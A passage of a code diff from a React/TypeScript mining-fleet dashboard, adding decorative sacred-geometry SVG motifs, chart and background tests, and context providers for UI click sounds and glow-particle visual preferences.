export function MetatronCube({ className = '', stroke = DEFAULT_STROKE, opacity = 0.45 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 28;
const pts: { x: number; y: number }[] = [];
for (let i = 0; i < 6; i++) {
const a = ((i * 60 - 90) * Math.PI) / 180;
pts.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
}
const inner = r * 0.55;
const innerPts: { x: number; y: number }[] = [];
for (let i = 0; i < 6; i++) {
const a = ((i * 60 - 90) * Math.PI) / 180;
innerPts.push({ x: cx + inner * Math.cos(a), y: cy + inner * Math.sin(a) });
}
const lines: [number, number][] = [];
for (let i = 0; i < pts.length; i++) {
for (let j = i + 1; j < pts.length; j++) lines.push([i, j]);
}
for (let i = 0; i < innerPts.length; i++) {
for (let j = i + 1; j < innerPts.length; j++) lines.push([i + 6, j + 6]);
}
pts.forEach((_, i) => lines.push([i, i + 6]));
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} stroke={stroke} strokeWidth="0.14" fill="none">
<circle cx={cx} cy={cy} r={r * 1.05} strokeWidth="0.16" />
<circle cx={cx} cy={cy} r={inner} strokeDasharray="0.5 1" />
{lines.map(([a, b], i) => {
const p1 = a < 6 ? pts[a] : innerPts[a - 6];
const p2 = b < 6 ? pts[b] : innerPts[b - 6];
return <line key={i} x1={p1.x} y1={p1.y} x2={p2.x} y2={p2.y} opacity="0.5" />;
})}
{[...pts, ...innerPts].map((p, i) => (
<circle key={`d${i}`} cx={p.x} cy={p.y} r="0.5" fill={stroke} stroke="none" />
))}
</g>
</svg>
);
}
export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 22;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke}>
<circle cx={cx - r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
<path
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
stroke="#00f5ff"
strokeWidth="0.16"
opacity="0.6"
/>
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
</g>
</svg>
);
}
export function HexLattice({ className = '', stroke = DEFAULT_STROKE, opacity = 0.35 }: MotifProps) {
const hex = (cx: number, cy: number, s: number) => {
const pts = Array.from({ length: 6 }, (_, i) => {
const a = ((60 * i - 30) * Math.PI) / 180;
return `${cx + s * Math.cos(a)},${cy + s * Math.sin(a)}`;
}).join(' ');
return <polygon key={`${cx}-${cy}`} points={pts} />;
};
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.12">
{hex(50, 50, 18)}
{hex(50, 32, 10)}
{hex(50, 68, 10)}
{hex(34, 41, 10)}
{hex(66, 41, 10)}
{hex(34, 59, 10)}
{hex(66, 59, 10)}
</g>
</svg>
);
}
export function GoldenSpiral({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
const cx = 18;
const cy = 82;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.18">
<rect x="18" y="18" width="64" height="64" strokeDasharray="1 2" opacity="0.35" />
<path
d="M 18 82 A 64 64 0 0 1 82 18 A 40 40 0 0 1 58 42 A 24 24 0 0 1 42 58 A 14 14 0 0 1 50 50"
stroke="#ffb020"
/>
<circle cx={cx} cy={cy} r="1" fill={stroke} />
</g>
</svg>
);
}
export function TorusRings({ className = '', stroke = DEFAULT_STROKE, opacity = 0.42 }: MotifProps) {
const cx = 50;
const cy = 50;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke}>
{[34, 26, 18, 10].map((r, i) => (
<ellipse
key={r}
cx={cx}
cy={cy}
rx={r}
ry={r * (0.55 + i * 0.08)}
strokeWidth="0.16"
transform={`rotate(${i * 12} ${cx} ${cy})`}
/>
))}
<circle cx={cx} cy={cy} r="2" fill={stroke} opacity="0.8" />
</g>
</svg>
);
}
/** Whimsical “key to knowledge” — geometric bow + shaft */
export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
<polygon
points="38,22 46,30 38,38 30,30"
strokeWidth="0.2"
fill="rgba(201,162,39,0.08)"
/>
<line x1="50" y1="50" x2="88" y2="88" strokeWidth="0.35" />
<rect x="72" y="72" width="8" height="8" strokeWidth="0.22" transform="rotate(45 76 76)" />
<rect x="80" y="64" width="6" height="6" strokeWidth="0.2" transform="rotate(45 83 67)" />
<path d="M 62 62 L 68 56 M 70 70 L 76 64" strokeWidth="0.18" opacity="0.7" />
</g>
</svg>
);
}
export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
const cx = 50;
const cy = 52;
const tri = (r: number, flip: boolean) => {
const pts = [0, 120, 240].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
const y = (flip ? -1 : 1) * r * Math.sin(rad);
return `${cx + r * Math.cos(rad)},${cy + y}`;
});
return pts.join(' ');
};
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.16">
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
<polygon points={tri(32, false)} />
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
</g>
</svg>
);
}
export type MotifName =
| 'flower'
| 'seed'
| 'metatron'
| 'vesica'
| 'hex'
| 'spiral'
| 'torus'
| 'key'
| 'yantra';
export function SacredMotif({
name,
className = '',
stroke,
opacity,
}: MotifProps & { name: MotifName }) {
const props = { className, stroke, opacity };
switch (name) {
case 'seed':
return <SeedOfLife {...props} />;
case 'metatron':
return <MetatronCube {...props} />;
case 'vesica':
return <VesicaPiscis {...props} />;
case 'hex':
return <HexLattice {...props} />;
case 'spiral':
return <GoldenSpiral {...props} />;
case 'torus':
return <TorusRings {...props} />;
case 'key':
return <KnowledgeKey {...props} />;
case 'yantra':
return <SriYantraLite {...props} />;
case 'flower':
default:
return <FlowerOfLifeWatermark {...props} />;
}
}

View File

@@ -13,6 +13,7 @@ import { downloadApiFile, downloadAuthedFile } from '../api/download';
import { getStoredAuth } from '../api/auth';
import { useWebSocket } from '../hooks/useWebSocket';
import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
import { generateSampleSeries, validateChartSeries } from '../help/chartSampleData';
import NeonCard from './NeonCard/NeonCard';
import { HelpTip, FieldHint } from './HelpTip';
@@ -316,7 +317,23 @@ describe('HashrateChart', () => {
it('shows empty state when data is empty', () => {
render(<HashrateChart data={[]} title="Fleet Hash" />);
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
expect(screen.getByText(/Awaiting signal from fleet/i)).toBeInTheDocument();
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
});
it('renders chart with validated sample series', () => {
const sample = generateSampleSeries('hashrate', 24);
expect(validateChartSeries(sample).ok).toBe(true);
render(
<HashrateChart
data={sample}
displayMode="sample"
title="Fleet Hash"
color="#00f5ff"
unit="H/s"
/>
);
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
});
it('renders chart with data points', () => {
@@ -728,6 +745,8 @@ describe('AmbientBackground', () => {
const { container } = render(<AmbientBackground />);
expect(container.querySelector('.ambient-bg')).toBeTruthy();
expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
expect(container.querySelector('.ambient-geo-hex-veil')).toBeTruthy();
expect(container.querySelectorAll('.ambient-geo-corner').length).toBeGreaterThanOrEqual(2);
});
});

View File

@@ -0,0 +1,92 @@
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
import { hapticEngine, loadSoundEnabled, loadSoundVolume, type SoundCue } from '../audio/hapticEngine';
type SoundContextValue = {
enabled: boolean;
volume: number;
setEnabled: (v: boolean) => void;
setVolume: (v: number) => void;
play: (cue: SoundCue) => void;
preview: (cue?: SoundCue) => void;
};
const SoundContext = createContext<SoundContextValue | null>(null);
export function SoundProvider({ children }: { children: React.ReactNode }) {
const [enabled, setEnabledState] = useState(loadSoundEnabled);
const [volume, setVolumeState] = useState(loadSoundVolume);
const setEnabled = useCallback((v: boolean) => {
hapticEngine.setEnabled(v);
setEnabledState(v);
}, []);
const setVolume = useCallback((v: number) => {
hapticEngine.setVolume(v);
setVolumeState(hapticEngine.getVolume());
}, []);
const play = useCallback((cue: SoundCue) => {
hapticEngine.play(cue);
}, []);
const preview = useCallback((cue: SoundCue = 'click') => {
hapticEngine.unlock();
hapticEngine.play(cue);
}, []);
useEffect(() => {
hapticEngine.setEnabled(enabled);
hapticEngine.setVolume(volume);
}, [enabled, volume]);
useEffect(() => {
const unlock = () => hapticEngine.unlock();
window.addEventListener('pointerdown', unlock, { once: true, passive: true });
window.addEventListener('keydown', unlock, { once: true });
return () => {
window.removeEventListener('pointerdown', unlock);
window.removeEventListener('keydown', unlock);
};
}, []);
useEffect(() => {
const onClick = (e: MouseEvent) => {
if (!hapticEngine.isEnabled()) return;
const target = e.target as HTMLElement | null;
if (!target) return;
if (target.closest('[data-sfx="off"]')) return;
const interactive = target.closest(
'button:not(:disabled), .btn:not(:disabled), [role="button"]:not([aria-disabled="true"]), .nav-link, .mobile-nav__link, .mobile-nav__more-btn'
);
if (!interactive) return;
const isNav =
interactive.classList.contains('nav-link') ||
!!interactive.closest('.layout-nav, .mobile-nav');
hapticEngine.play(isNav ? 'nav' : 'click');
};
document.addEventListener('click', onClick, true);
return () => document.removeEventListener('click', onClick, true);
}, [enabled]);
const value = useMemo(
() => ({ enabled, volume, setEnabled, setVolume, play, preview }),
[enabled, volume, setEnabled, setVolume, play, preview]
);
return <SoundContext.Provider value={value}>{children}</SoundContext.Provider>;
}
const noopSound: SoundContextValue = {
enabled: false,
volume: 0,
setEnabled: () => {},
setVolume: () => {},
play: () => {},
preview: () => {},
};
export function useSound() {
const ctx = useContext(SoundContext);
return ctx ?? noopSound;
}

View File

@@ -0,0 +1,53 @@
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
import {
dispatchVisualPrefsChange,
loadGlowParticlesEnabled,
saveGlowParticlesEnabled,
VISUAL_PREFS_EVENT,
} from '../visual/visualPrefs';
type VisualEffectsContextValue = {
glowParticles: boolean;
setGlowParticles: (v: boolean) => void;
};
const VisualEffectsContext = createContext<VisualEffectsContextValue | null>(null);
export function VisualEffectsProvider({ children }: { children: React.ReactNode }) {
const [glowParticles, setGlowState] = useState(loadGlowParticlesEnabled);
const setGlowParticles = useCallback((v: boolean) => {
saveGlowParticlesEnabled(v);
setGlowState(v);
dispatchVisualPrefsChange();
}, []);
useEffect(() => {
const sync = () => setGlowState(loadGlowParticlesEnabled());
window.addEventListener(VISUAL_PREFS_EVENT, sync);
return () => window.removeEventListener(VISUAL_PREFS_EVENT, sync);
}, []);
const value = useMemo(
() => ({ glowParticles, setGlowParticles }),
[glowParticles, setGlowParticles]
);
return (
<VisualEffectsContext.Provider value={value}>{children}</VisualEffectsContext.Provider>
);
}
export function useVisualEffects(): VisualEffectsContextValue {
const ctx = useContext(VisualEffectsContext);
if (!ctx) {
return {
glowParticles: loadGlowParticlesEnabled(),
setGlowParticles: (v) => {
saveGlowParticlesEnabled(v);
dispatchVisualPrefsChange();
},
};
}
return ctx;
}

Some files were not shown because too many files have changed in this diff Show More